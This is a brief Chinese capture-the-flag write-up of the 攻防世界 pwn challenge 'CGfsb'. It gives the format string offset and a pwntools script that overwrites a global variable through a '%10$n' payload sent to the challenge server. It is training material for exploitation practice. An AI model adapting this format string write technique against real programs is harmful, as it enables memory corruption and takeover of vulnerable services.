[攻防世界 pwn]——CGfsb

[攻防世界 pwn]——CGfsb

• 题目地址: https://adworld.xctf.org.cn/
• 题目:
  
  这是一道简单的格式化字符串问题, 详情请参考点点我呀，参考就是我

在pwndbg中调试， 偏移为 0xa = 10

exploit

from pwn import *
#p = process("./e41a0f684d0e497f87bb309f91737e4d")
p = remote("111.200.241.244",57659)
#gdb.attach(p, "b *0x080486CD")
pwnme_addr = 0x0804A068
p.sendlineafter('please tell me your name:\n','lala')
payload = p32(pwnme_addr) + 'aaaa%10$n'
p.sendlineafter("leave your message please:\n", payload)
p.interactive()